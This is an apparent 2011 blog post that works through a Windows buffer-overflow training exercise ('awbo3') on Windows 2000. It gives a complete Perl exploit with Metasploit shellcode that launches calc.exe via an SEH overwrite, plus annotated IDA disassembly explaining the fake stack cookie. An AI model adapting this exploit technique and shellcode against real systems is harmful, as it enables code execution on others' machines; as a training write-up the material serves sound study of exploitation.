Saturday, July 2, 2011

Advanced Windows Buffer Overflows: awbo3, Win2k

awbo3.

#!/usr/bin/perl

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


$filler = "A" x 1024;
$addr = "\x00" x 4;
$cookie = "C" x 4;
$filler2 = "D" x (1084 - length($filler) - length($cookie) - length($addr));

$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x57\x19\xe8\x77" ; # pop pop ret from kernel32.dll
$nops = "\x90\x90\x90\x90";

print $filler . $addr . $cookie . $filler2 . $nseh . $seh . $nops . $shellcode;

IDA output with what I think's going on.

; function prologue
push ebp
mov ebp, esp

; set aside 1036 bytes of stack space for a buffer
sub esp, 1036

...

; dword_406030 is out in .data land and contains 00 0A 0D 20 (NULL \n \r ' ')
; move it to eax then to ebp-8
mov eax, dword_406030
mov [ebp-8], eax

; byte_406034 is out in .data land and contains 00 00
; move it to lsb of ecx and also ebp-4
; NULL terminates buffer, is my guess
mov cl, byte_406034
mov [ebp-4], cl

int 3 ; Trap to Debugger

; load address of buffer into edx
lea edx, [ebp-1036]

; save this address to ebp-12
mov [ebp-12], edx

; load address of buffer into eax, push to stack, and call gets()
lea eax, [ebp-1036]
push eax ; char *
call _gets

; clean up stack
add esp, 4

; copy saved buffer address into ecx, push to stack, push format string to stack and call printf(),
mov ecx, [ebp-12]
push ecx
push offset aYouSentMeS ; "You sent me: %s"
call _printf

; clean up stack
add esp, 8

; push 4 onto the stack
push 4 ; size_t

; unk_406048 is in .data land and points to 00 0A 0D 20 (NULL \n \r ' ')
push offset unk_406048 ; void *

; load address of saved "00 0A 0D 20" cookie from ebp-8 into edx and push to stack
lea edx, [ebp-8]
push edx ; void *

; call memcmp()
call _memcmp

; clean up stack
add esp, 12

; set CFLAGs to outcome of memcmp()
test eax, eax

; jmp if equals 0 (return value of memcmp is 0 for true)
jz short loc_40107C

; if memcmp does not equal 0
; push format string onto stack and call printf()
push offset aFail_ ; "Fail.\n"
call _printf

; clean up stack
add esp, 4

; push 4 onto stack
push 4

; push "AAAA" onto stack
push offset aAaaa ; "AAAA"

; push 0 onto stack
push 0

; memcpy(0, "AAAA", 0) causes a access violation--writing to NULL
call _memcpy

; should never get here
; clean up stack
add esp, 12

; memcmp equals 0
loc_40107C: ; CODE XREF: _main+5C^Xj

...

; return
retn

I can't use a direct saved EIP overwrite here because it would require my input to contain a "\x20\x0d\x0a\x00" (' ' \n \r NULL). The newline character will cause gets() to stop reading from stdin and I won't be able to properly overwrite EIP.

If I overwrite this "stack cookie" with whatever, memcmp will return non-zero and execution will take the failure path. In this failure path there is a memcpy(0, "AAAA", 4) which will cause a write attempt to NULL, causing an exception.

The exception allows me to use a SEH exploit, similar to awbo2.

No comments:

Post a Comment